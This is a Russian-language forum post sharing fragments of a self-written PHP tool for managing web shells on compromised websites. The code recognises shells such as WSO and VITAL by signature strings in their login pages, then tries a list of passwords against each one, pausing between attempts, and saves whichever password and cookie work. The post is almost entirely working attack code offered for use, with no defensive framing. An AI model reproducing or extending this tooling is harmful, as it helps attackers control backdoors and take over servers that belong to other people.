про защищенные (не обязательно пассами, можно создать свой способ):
увидел тут на днях шелвизард и дофига чего не устроило, хз, может я претенционзен,
либо сабжевый sh wiz ещё слишком молод. в любом случае спасибо автору, т.к. несмотря
на то что идея создать shm для автоматизации и управления была давно.. ну вы сами
знаете - идей дофига а на практике по проекту в полгода дай бог рожаем
написал свой, собссно пару фрагов кода, весь выложить не могу,
за EP считаем shdet()
PHP код:
// sh pattz
$shpats = array(
T_VITAL => array(
def => array('<title>VITAL</title>')
,auth => array(
'input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}'
,'<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">'
)
,auth_answ => array(
'<meta http-equiv="refresh" content="1;URL='
,'<a style="font:12px Verdana" href="'
,'">Success</a>'
)
)
,T_WSO => array(
def => array("BOFF 1.0")
,auth => array(
"<pre align=center><b>Authorization</b><br>"
,"0ff \/\/"
,"<br><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"
)
)
#,T_CMAD => ""
#,T_R57 => ""
);
PHP код:
function shdet(array $sh){
global $shpats;
global $pwdz;
global $shz;
$buf = nw_get(M_GET, $sh[url]);
foreach($shpats as $shpat_type => $shpat){
if(inarr($shpat[def],$buf)){
mod($sh, AUTH_NO, auth,need);
mod($sh, $shpat_type, type);
mod($sh, ONLINE, status);
/*
$shz[$sh[id]][auth][need] = AUTH_NO;
$shz[$sh[id]][type] = $shpat_type;
$shz[$sh[id]][status] = ONLINE;
$shz[$sh[id]][update] = ONLINE;
*/
return true;
}
}
foreach($shpats as $shpat_type => $shpat){
foreach($shpat[auth] as $auth_pat){
if(strpos($buf, $auth_pat) !== false){
global $cookie;
$shz[$sh[id]][type] = $shpat_type;
$sh[type] = $shpat_type;
$shz[$sh[id]][auth][need] = AUTH_USE;
// auth to sh with current shpat type
foreach($pwdz as $pw){
$auth_answ = make_auth($sh, $pw);
if($shpats[$shpat_type][auth_answ][0])
$auth = inarr($shpats[$shpat_type][auth_answ], $auth_answ) ? OK : false;
else
$auth = inarr($shpats[$shpat_type][def], $auth_answ) ? OK : false;
if($auth){
$shz[$sh[id]][auth][state] = OK;
$shz[$sh[id]][auth][pw] = $pw;
$shz[$sh[id]][auth][cook] = $cookie ? $cookie : null;
return true;
}
global $auth_delay;
sleep($auth_delay);
}
//
if(!$auth) $shz[$sh[id]][auth][state] = FAIL;
return true;
}
}
}
return false;
}
PHP код:
function make_auth(array $sh, $pw){
global $shz;
cook($sh);
switch($shz[$sh[id]][type]){ // don' use local old $sh!
case T_VITAL:
$nwreq_method = M_POST;
$nwreq_fpath = $sh[url];
$nwreq_postargs = array(
'doing' => 'login'
, 'password' => $pw
);
# $cookie = array('phpspypass' => $pw);
return nw_get($nwreq_method, $nwreq_fpath, $nwreq_postargs);
break;
case T_WSO:
$nwreq_method = M_POST;
$nwreq_fpath = $sh[url];
$nwreq_postargs = array('pass' => $pw);
return nw_get($nwreq_method, $nwreq_fpath, $nwreq_postargs);
break;
case T_CMAD:
break;
case T_R57:
break;
default:
return false;
}
}
само собой делаем регексы, паттерны что
выше по strpos() сделаны на скорую руку